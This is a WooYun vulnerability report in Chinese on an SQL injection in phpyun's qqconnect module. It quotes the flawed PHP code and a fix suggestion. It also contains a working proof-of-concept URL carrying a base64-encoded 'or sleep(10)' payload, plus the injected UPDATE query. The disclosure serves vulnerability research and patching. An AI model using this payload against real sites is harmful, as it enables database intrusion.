当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-043236

漏洞标题:phpyun另一枚SQL注入

相关厂商:php云人才系统

漏洞作者: 猪头子

提交时间:2013-11-18 14:28

修复时间:2014-02-16 14:28

公开时间:2014-02-16 14:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-18: 细节已通知厂商并且等待厂商处理中
2013-11-18: 厂商已经确认,细节仅向厂商公开
2013-11-21: 细节向第三方安全合作伙伴开放
2014-01-12: 细节向核心白帽子及相关领域专家公开
2014-01-22: 细节向普通白帽子公开
2014-02-01: 细节向实习白帽子公开
2014-02-16: 细节向公众公开

简要描述:

问题很类似,官方安全意识有待加强

详细说明:

问题出现在/model/qqconnect.class.php的mcert_action函数中:

function mcert_action(){
$id=$_GET['id'];
$arr=@explode("|",base64_decode($id));
if($id && is_array($arr) && $arr[0] && $arr[2]==$this->config['coding']){
$nid=$this->obj->DB_update_all("member","`email_status`='1'","`uid`='".$arr[0]."'");
$nid?$this->obj->ACT_msg($this->config['sy_weburl']."/index.php?M=login&usertype=1","激活成功"):$this->obj->ACT_msg($this->config['sy_weburl'],"激活失败,联系管理员认证");
}else{
$this->obj->ACT_msg($this->config['sy_weburl'],"非法操作!","2");
}
}


id从$_GET['id']参数中取出然后经过了base64解码并分隔进入数组$arr,由于是base64解码所以绕过前端过滤:

$id=$_GET['id'];
$arr=@explode("|",base64_decode($id));


然后经过一段判断:

if($id && is_array($arr) && $arr[0] && $arr[2]==$this->config['coding'])


$this->config['coding']默认为null,所以只需要保证$arr[2]也为null的话这个判断就可以通过,判断通过后进入以下语句:

$nid=$this->obj->DB_update_all("member","`email_status`='1'","`uid`='".$arr[0]."'");


跟进DB_update_all:

function DB_update_all($tablename, $value, $where = 1) {
$SQL = "UPDATE `" . $this->def . $tablename . "` SET ".$value." WHERE ".$where;
$this->db->query("set sql_mode=''");
$return=$this->db->query($SQL);
return $return;
}


跟进query:

/*数据库执行语句,可执行查询添加修改删除等任何sql语句*/
public function query($sql) {
if ($sql == "") {
$this->show_error("SQL语句错误:", "SQL查询语句为空");
}
$this->sql = $sql;
$result = mysql_query($this->sql, $this->conn);
if (!$result) {
//调试中使用,sql语句出错时会自动打印出来
if ($this->show_error) {
$this->show_error("错误SQL语句:", $this->sql);
}
} else {
$this->result = $result;
}
if(1==1){
global $starttime;
$dbbug_error2[]="<br>";
$dbbug_error2[sql]=$this->sql."<br>";
$dbbug_error2["time"]=$this->getmicrotime()-$starttime."<br>";
//$dbbug_error2[]="<br>";
//print_r($dbbug_error2);//查看sql语句
$this->debug=$dbbug_error;
}
return $this->result;
}


注入发生

漏洞证明:

提交

http://www.target.com/index.php?M=qqconnect&C=mcert&id=JyBvciBzbGVlcCgxMCk7I3x6dHo%3D


后台会执行sleep(10)

UPDATE `phpyun_member` SET `email_status`='1' WHERE `uid`='' or sleep(10);#

修复方案:

对base64解码的内容进行过滤和检查

版权声明:转载请注明来源 猪头子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-11-18 15:58

厂商回复:

感谢您的提供!

最新状态:

暂无